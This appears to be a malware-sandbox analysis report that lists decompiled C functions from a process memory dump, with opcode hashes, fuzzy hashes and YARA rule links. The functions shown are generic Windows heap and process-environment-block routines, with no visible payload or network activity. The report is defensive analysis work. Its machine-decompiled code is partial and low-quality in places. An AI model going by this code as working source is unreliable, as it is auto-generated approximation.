0x05707481
0x00000000
0x05707481
0x0570747d
0x0570747a
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2097902305b44111291ce0eb37c9b1fb3a13798babd927308c57571eac99cd4
Instruction ID: d9b306093a84f45da96e33db95f31ab31580776e7a1267d377efd01ee0ce6c5c
Opcode Fuzzy Hash: c2097902305b44111291ce0eb37c9b1fb3a13798babd927308c57571eac99cd4
Instruction Fuzzy Hash: 8CF0BE34A04144EACF89DB68C944F7DBBF2FF04350F056219E892AF1E1E725A800FB95

Uniqueness

Uniqueness Score: -1.00%

Function 057B8CD6, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E057B8CD6(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v12;
				short _v38;
				char _v44;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x57dd360 ^ _t25;
				_v12 = __ecx;
				_v38 = 0x1c2d;
				if(E05707D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v44);
				_push(0xffffffe4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E0572B640(E05729AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x057b8ce5
0x057b8ced
0x057b8cf0
0x057b8cfb
0x057b8d0d
0x057b8cfd
0x057b8d06
0x057b8d06
0x057b8d18
0x057b8d19
0x057b8d1b
0x057b8d20
0x057b8d33

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02014dd4576e854dd5dbf5f13fde8df27b0a6276378431f2ae649c0f5dd327ee
Instruction ID: 031e1757ea1c2add62e40b6f0282377cf2ed929b29d93eeb5580b644cb779c1d
Opcode Fuzzy Hash: 02014dd4576e854dd5dbf5f13fde8df27b0a6276378431f2ae649c0f5dd327ee
Instruction Fuzzy Hash: 52F08270A05258ABDB04EBB8D94AEAE77B8EF09300F54419AF916EB2C0EA34D900D755

Uniqueness

Uniqueness Score: -1.00%

Function 057B8B58, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 36%

			E057B8B58(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v20;
				short _v46;
				char _v52;
				signed char* _t11;
				intOrPtr _t17;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				signed int _t25;

				_v8 =  *0x57dd360 ^ _t25;
				_v20 = __ecx;
				_v46 = 0x1c26;
				if(E05707D50() == 0) {
					_t11 = 0x7ffe0386;
				} else {
					_t11 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v52);
				_push(4);
				_push(0x402);
				_push( *_t11 & 0x000000ff);
				return E0572B640(E05729AE0(), _t17, _v8 ^ _t25, _t22, _t23, _t24);
			}

0x057b8b67
0x057b8b6f
0x057b8b72
0x057b8b7d
0x057b8b8f
0x057b8b7f
0x057b8b88
0x057b8b88
0x057b8b9a
0x057b8b9b
0x057b8b9d
0x057b8ba2
0x057b8bb5

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb38002b13424ec319903023e7b4ec37dc623efe4e1b2b4452cc2d5983fc807
Instruction ID: 159a255e2765545c9b865e4e4c8057696f561e1477f4e9867c69669872df1b9d
Opcode Fuzzy Hash: adb38002b13424ec319903023e7b4ec37dc623efe4e1b2b4452cc2d5983fc807
Instruction Fuzzy Hash: 1FF082B0B14258ABDB14EBB8D90AE6F77B8EF04300F440459BA05DB3C0EA74D901D795

Uniqueness

Uniqueness Score: -1.00%

Function 056E4F2E, Relevance: .0, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056E4F2E(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0) {
					L6:
					__eflags = _a4;
					if(__eflags != 0) {
						L8:
						E057B88F5(_t17, _t18, _t19, _t20, _t21, __eflags);
						L9:
						return 0;
					}
					__eflags =  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28));
					if(__eflags != 0) {
						goto L9;
					}
					goto L8;
				}
				_t18 = __ecx + 0x30;
				if(E0570C5D5(__ecx + 0x30, _t19) == 0 ||  *((intOrPtr*)(__ecx + 0x34)) != 0x56c1030 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					goto L6;
				} else {
					return 1;
				}
			}

0x056e4f2e
0x056e4f34
0x056e4f38
0x05740b85
0x05740b85
0x05740b89
0x05740b9a
0x05740b9a
0x05740b9f
0x00000000
0x05740b9f
0x05740b94
0x05740b98
0x00000000
0x00000000
0x00000000
0x05740b98
0x056e4f3e
0x056e4f48
0x00000000
0x056e4f6e
0x00000000
0x056e4f70

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8ede47674d36371e5c439352515741c63adc43a1aaeb339a029c509ca9c331f5
Instruction ID: 337912af63c723fa37077bb517cdc1526ba45fe10b7b035e9f6cfe9f63817516
Opcode Fuzzy Hash: 8ede47674d36371e5c439352515741c63adc43a1aaeb339a029c509ca9c331f5
Instruction Fuzzy Hash: 10F0E232A266848FD771E728C94CF32B7E9FB01778F449468D5068BA21CB34EC40DA48

Uniqueness

Uniqueness Score: -1.00%

Function 0571A44B, Relevance: .0, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0571A44B(signed int __ecx) {
				intOrPtr _t13;
				signed int _t15;
				signed int* _t16;
				signed int* _t17;

				_t13 =  *0x57d7b9c; // 0x0
				_t15 = __ecx;
				_t16 = L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13 + 0xc0000, 8 + __ecx * 4);
				if(_t16 == 0) {
					return 0;
				}
				 *_t16 = _t15;
				_t17 =  &(_t16[2]);
				E0572FA60(_t17, 0, _t15 << 2);
				return _t17;
			}

0x0571a44b
0x0571a453
0x0571a472
0x0571a476
0x00000000
0x0571a493
0x0571a47a
0x0571a47f
0x0571a486
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f48bb41afc865990cde71aa3fe2631701f333c62b93fbb59002250ea614383ae
Instruction ID: 897b8d918ab0321baceb6de8c87211fd32fc0b9a62f43233adc7a9a302659e24
Opcode Fuzzy Hash: f48bb41afc865990cde71aa3fe2631701f333c62b93fbb59002250ea614383ae
Instruction Fuzzy Hash: 10E09272B02421ABD3119E1CEC05F6673AEEBD5A51F094039F905C7250DA28DD01D7E0

Uniqueness

Uniqueness Score: -1.00%

Function 056EF358, Relevance: .0, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E056EF358(void* __ecx, signed int __edx) {
				char _v8;
				signed int _t9;
				void* _t20;

				_push(__ecx);
				_t9 = 2;
				_t20 = 0;
				if(E0571F3D5( &_v8, _t9 * __edx, _t9 * __edx >> 0x20) >= 0 && _v8 != 0) {
					_t20 = L05704620( &_v8,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				}
				return _t20;
			}

0x056ef35d
0x056ef361
0x056ef367
0x056ef372
0x056ef38c
0x056ef38c
0x056ef394

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 7406c2553168de288da4cd32f474f7d4e1b7201b1a6fcff24302434806dd7bd5
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 30E0D832A42118FBCB219AD99E09F5AFBADDB44A60F000196F904D7190D560DD00D2D0

Uniqueness

Uniqueness Score: -1.00%

Function 056FFF60, Relevance: .0, Instructions: 22
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056FFF60(intOrPtr _a4) {
				void* __ecx;
				void* __ebp;
				void* _t13;
				intOrPtr _t14;
				void* _t15;
				void* _t16;
				void* _t17;

				_t14 = _a4;
				if(_t14 == 0 || ( *(_t14 + 0x68) & 0x00030000) != 0 ||  *((intOrPtr*)(_t14 + 4)) != 0x56c11a4 ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					return E057B88F5(_t13, _t14, _t15, _t16, _t17, __eflags);
				} else {
					return E05700050(_t14);
				}
			}

0x056fff66
0x056fff6b
0x00000000
0x056fff8f
0x00000000
0x056fff8f

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 117e267b01b95b345fdaa85ae78ecc297f39980a09c59086db11194730eea3fa
Instruction ID: a0055a7c8a2d0bd1dbb348128c0a348da9a23701424dee782a6f836cdc3b8f82
Opcode Fuzzy Hash: 117e267b01b95b345fdaa85ae78ecc297f39980a09c59086db11194730eea3fa
Instruction Fuzzy Hash: E3E0DFB0A0A284EFD734DF52D888F36BBADAB42721F19845DE1084BB01CA21D881C306

Uniqueness

Uniqueness Score: -1.00%

Function 057741E8, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E057741E8(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t5;
				void* _t14;

				_push(8);
				_push(0x57c08f0);
				_t5 = E0573D08C(__ebx, __edi, __esi);
				if( *0x57d87ec == 0) {
					E056FEEF0( *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					 *(_t14 - 4) =  *(_t14 - 4) & 0x00000000;
					if( *0x57d87ec == 0) {
						 *0x57d87f0 = 0x57d87ec;
						 *0x57d87ec = 0x57d87ec;
						 *0x57d87e8 = 0x57d87e4;
						 *0x57d87e4 = 0x57d87e4;
					}
					 *(_t14 - 4) = 0xfffffffe;
					_t5 = L05774248();
				}
				return E0573D0D1(_t5);
			}

0x057741e8
0x057741ea
0x057741ef
0x057741fb
0x05774206
0x0577420b
0x05774216
0x0577421d
0x05774222
0x0577422c
0x05774231
0x05774231
0x05774236
0x0577423d
0x0577423d
0x05774247

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66daa5144944c16426bd34a6578de36a9612f674c56b1ca00be25037df614450
Instruction ID: 4db8ee7c3b1cb3a54fddf4bfcb592c055371d238e20dd9367f2d3046c3237eea
Opcode Fuzzy Hash: 66daa5144944c16426bd34a6578de36a9612f674c56b1ca00be25037df614450
Instruction Fuzzy Hash: B0F01C74A22705DECFE2DFE9E50AB143AB5F744730F40816BA100A7284CB344444FF26

Uniqueness

Uniqueness Score: -1.00%

Function 0579D380, Relevance: .0, Instructions: 21
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0579D380(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _t5;

				if(_a4 != 0) {
					_t5 = L056EE8B0(__ecx, _a4, 0xfff);
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
					return _t5;
				}
				return 0xc000000d;
			}

0x0579d38a
0x0579d39b
0x0579d3b1
0x00000000
0x0579d3b6
0x00000000

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: f3b33c16a7876c0299d4ad5e5f9417cf408ef21240c095f38af959de65b8a224
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 8EE0C231381204FBDF365E44DC04F797B5BEB407A1F104031FE085A690C675AC91E6D4

Uniqueness

Uniqueness Score: -1.00%

Function 0571A185, Relevance: .0, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0571A185() {
				void* __ecx;
				intOrPtr* _t5;

				if( *0x57d67e4 >= 0xa) {
					if(_t5 < 0x57d6800 || _t5 >= 0x57d6900) {
						return L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t5);
					} else {
						goto L1;
					}
				} else {
					L1:
					return E05700010(0x57d67e0, _t5);
				}
			}

0x0571a190
0x0571a1a6
0x0571a1c2
0x00000000
0x00000000
0x00000000
0x0571a192
0x0571a192
0x0571a19f
0x0571a19f

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40d40b6f1d2df15aeb2dafe97eb7f3bc0c4e3124fb71fc4cc83173b3ee249bcb
Instruction ID: f1ced0b46c9a0d3334cd1cbdb70dbc58b16106ca6c1ab7997ca582128a54ab1f
Opcode Fuzzy Hash: 40d40b6f1d2df15aeb2dafe97eb7f3bc0c4e3124fb71fc4cc83173b3ee249bcb
Instruction Fuzzy Hash: 44D05B612760446EC71DA714999CF3562B2E794730FB0441DF1074A5D2ED7098D4B16C

Uniqueness

Uniqueness Score: -1.00%

Function 057116E0, Relevance: .0, Instructions: 17
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E057116E0(void* __edx, void* __eflags) {
				void* __ecx;
				void* _t3;

				_t3 = E05711710(0x57d67e0);
				if(_t3 == 0) {
					_t6 =  *[fs:0x30];
					if( *((intOrPtr*)( *[fs:0x30] + 0x18)) == 0) {
						goto L1;
					} else {
						return L05704620(_t6,  *((intOrPtr*)(_t6 + 0x18)), 0, 0x20);
					}
				} else {
					L1:
					return _t3;
				}
			}

0x057116e8
0x057116ef
0x057116f3
0x057116fe
0x00000000
0x05711700
0x0571170d
0x0571170d
0x057116f2
0x057116f2
0x057116f2
0x057116f2

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3264000151290439d4f43b0caf5305d1af3bdc9434942b29f57328d9ef6c4e6f
Instruction ID: b6345ba73c4691aee5998c6216ec0f5a52779da89c64cc92c0927842cf0b7f4b
Opcode Fuzzy Hash: 3264000151290439d4f43b0caf5305d1af3bdc9434942b29f57328d9ef6c4e6f
Instruction Fuzzy Hash: E4D05E3120410196DB2D5E18D858B1422A2AB80691F780068F7074D4C1CEA1C892F05C

Uniqueness

Uniqueness Score: -1.00%

Function 057653CA, Relevance: .0, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E057653CA(void* __ebx) {
				intOrPtr _t7;
				void* _t13;
				void* _t14;
				intOrPtr _t15;
				void* _t16;

				_t13 = __ebx;
				if( *((char*)(_t16 - 0x65)) != 0) {
					E056FEB70(_t14,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
					_t7 =  *((intOrPtr*)(_t16 - 0x64));
					_t15 =  *((intOrPtr*)(_t16 - 0x6c));
				}
				if(_t15 != 0) {
					L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t13, _t15);
					return  *((intOrPtr*)(_t16 - 0x64));
				}
				return _t7;
			}

0x057653ca
0x057653ce
0x057653d9
0x057653de
0x057653e1
0x057653e1
0x057653e6
0x057653f3
0x00000000
0x057653f8
0x057653fb

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: b87c211dca8a1409d4fb077db64e13c12bfe6487469ec1044cfea9baa23191ac
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: D2E08C31A046809FCF12DB49C654F5EB7F9FB44B40F180008A4095F661C624AC00EB00

Uniqueness

Uniqueness Score: -1.00%

Function 057135A1, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E057135A1(void* __eax, void* __ebx, void* __ecx) {
				void* _t6;
				void* _t10;
				void* _t11;

				_t10 = __ecx;
				_t6 = __eax;
				if( *((intOrPtr*)(_t11 - 0x34)) >= 0 && __ebx != 0) {
					 *((intOrPtr*)(__ecx + 0x294)) =  *((intOrPtr*)(__ecx + 0x294)) + 1;
				}
				if( *((char*)(_t11 - 0x1a)) != 0) {
					return E056FEB70(_t10,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
				}
				return _t6;
			}

0x057135a1
0x057135a1
0x057135a5
0x057135ab
0x057135ab
0x057135b5
0x00000000
0x057135c1
0x057135b7

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: a402147706624c0bede1a34de0e6437f4cf9a7fa0602e7a69eafa1a1a9ed9a5f
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: F6D0A7315051809DDB41EB39C2187683773BB00A06F581855C80205459C3364B0DE708

Uniqueness

Uniqueness Score: -1.00%

Function 056FAAB0, Relevance: .0, Instructions: 12
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056FAAB0() {
				intOrPtr* _t4;

				_t4 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t4 != 0) {
					if( *_t4 == 0) {
						goto L1;
					} else {
						return  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x1e;
					}
				} else {
					L1:
					return 0x7ffe0030;
				}
			}

0x056faab6
0x056faabb
0x0574a442
0x00000000
0x0574a448
0x0574a454
0x0574a454
0x056faac1
0x056faac1
0x056faac6
0x056faac6

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: c600dc25aa53aac76ffff0607e74346c36e25d995f0b51b121c814e8b8859a14
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 1CD0E935752980CFD617CB5DC554B1573A5BB44B84FC50490E505CBB61E72CD944CA10

Uniqueness

Uniqueness Score: -1.00%

Function 0576A537, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0576A537(intOrPtr _a4, intOrPtr _a8) {

				return L05708E10( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a8, _a4);
			}

0x0576a553

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 0093c8e705b9037e112868d810cc22c6102c440c4417dad30ad78b47ceec96b0
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 88C01232180648BBCB126E81CC04F067BAAEB94B60F008010BA080A6A08632E9B0EA84

Uniqueness

Uniqueness Score: -1.00%

Function 056EDB40, Relevance: .0, Instructions: 11
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056EDB40() {
				signed int* _t3;
				void* _t5;

				_t3 = L05704620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0x64);
				if(_t3 == 0) {
					return 0;
				} else {
					 *_t3 =  *_t3 | 0x00000400;
					return _t3;
				}
			}

0x056edb4d
0x056edb54
0x056edb5f
0x056edb56
0x056edb56
0x056edb5c
0x056edb5c

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: 676f67aa34de9ca7d0e15f68700397ad8b31551d26521310e51d661935133813
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: 3DC08C70392A00AAEB221F20CE01B0036E2BB00B01F4400A06301DA4F0EB78D801E600

Uniqueness

Uniqueness Score: -1.00%

Function 056EAD30, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056EAD30(intOrPtr _a4) {

				return L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x056ead49

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 4f96bd19fba1fa93dd0fce8eb0a731bc33b6eb070a62a511875c3d76ff6b98a2
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: D0C08C32180248BBC7126A45CD04F117BA9E790BA0F000020B6040A6A28932E860E588

Uniqueness

Uniqueness Score: -1.00%

Function 05703A1C, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E05703A1C(intOrPtr _a4) {
				void* _t5;

				return L05704620(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _a4);
			}

0x05703a35

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: c0a6ad4ed8765400777c9cb7205bbf159809254e3e05a9b9adcf818c01408996
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: FDC08C32180648BBCB126E41DD04F017BAAE790B60F000020B7040A5A08532EC60E588

Uniqueness

Uniqueness Score: -1.00%

Function 056F76E2, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E056F76E2(void* __ecx) {
				void* _t5;

				if(__ecx != 0 && ( *(__ecx + 0x20) & 0x00000040) == 0) {
					return L057077F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
				return _t5;
			}

0x056f76e4
0x00000000
0x056f76f8
0x056f76fd

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 06ac3e680b8819f42f074fc56da7090e9da9608aed88b7708515869e6e57c5cc
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 89C08C706411809EEB2A5708CE28F303690FB08608F4811ACAB0209AE2D368B842C348

Uniqueness

Uniqueness Score: -1.00%

Function 057136CC, Relevance: .0, Instructions: 10
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E057136CC(void* __ecx) {

				if(__ecx > 0x7fffffff) {
					return 0;
				} else {
					return L05704620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, __ecx);
				}
			}

0x057136d2
0x057136e8
0x057136d4
0x057136e5
0x057136e5

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: ae1a8026aad131d9316f12645abafadf87512c3b799b959e5a81542781e8fad7
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: F0C09B75355840FBDB155F34CE55F1572D5F740A71F6407647321555F0E569DC00F504

Uniqueness

Uniqueness Score: -1.00%

Function 05707D50, Relevance: .0, Instructions: 7
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E05707D50() {
				intOrPtr* _t3;

				_t3 =  *((intOrPtr*)( *[fs:0x30] + 0x50));
				if(_t3 != 0) {
					return  *_t3;
				} else {
					return _t3;
				}
			}

0x05707d56
0x05707d5b
0x05707d60
0x05707d5d
0x05707d5d
0x05707d5d

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: b896492ae1f96215832d5804c39624a6353cc4b5cbf7a11e238587c43322baa5
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: A0B09234301940CFCE1ADF18C080F2533E4FB44A40B8400D0E400CBA20D229E9009A00

Uniqueness

Uniqueness Score: -1.00%

Function 05712ACB, Relevance: .0, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E05712ACB() {
				void* _t5;

				return E056FEB70(_t5,  *((intOrPtr*)( *[fs:0x30] + 0x1c)));
			}

0x05712adc

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: 36cfba7298b2ab58a96c7cd4b952e6e47dad3169e4b04d9e8f48c46ba9579f5a
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: B0B01232D10440CFCF42EF40C710B197736FB00750F054494910167930C229AC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 05729560, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d930a6752f52e3e31d2ebc6784c8d92681bc63ccb7e384a990f5f1555f7f847
Instruction ID: 4d273d545a314dd339fdb9b99300cbd26c49bcf8b027b5c9dacc7316588ea605
Opcode Fuzzy Hash: 9d930a6752f52e3e31d2ebc6784c8d92681bc63ccb7e384a990f5f1555f7f847
Instruction Fuzzy Hash: 89900265231000060255A559064550B0455A7EA3E23D1C025F1406591DC76188757361

Uniqueness

Uniqueness Score: -1.00%

Function 05729950, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 39beeffb1bba17d61303887d7024cfe331b06d4d3ac6f8830c373e9440a1757b
Instruction ID: ea64d3dc4c7a6687f03b033bbec3372ba4a4cfd25997788cee0e1f84abd15ea5
Opcode Fuzzy Hash: 39beeffb1bba17d61303887d7024cfe331b06d4d3ac6f8830c373e9440a1757b
Instruction Fuzzy Hash: 119002A121140407D25065594845607001597E4393F91C021A2054556F8B698C617175

Uniqueness

Uniqueness Score: -1.00%

Function 0572AD30, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd0de6fd77ba3cebeb736bff864a54e38d15fba8993419643d77a0fd079306c2
Instruction ID: 024fde8a31766d3b8bc26ff17ad0574505395d2b473f9a5e7dc8b14e9aed4859
Opcode Fuzzy Hash: dd0de6fd77ba3cebeb736bff864a54e38d15fba8993419643d77a0fd079306c2
Instruction Fuzzy Hash: 32900271A15000169250715948556464016A7F47D2B95C021A0504555D8A948A6573E1

Uniqueness

Uniqueness Score: -1.00%

Function 05729520, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.385435032.00000000056C0000.00000040.00000001.sdmp, Offset: 056C0000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19fc291e8996953b33fa49409903d33ed26853773db1ee4651cde43e6b64ddde
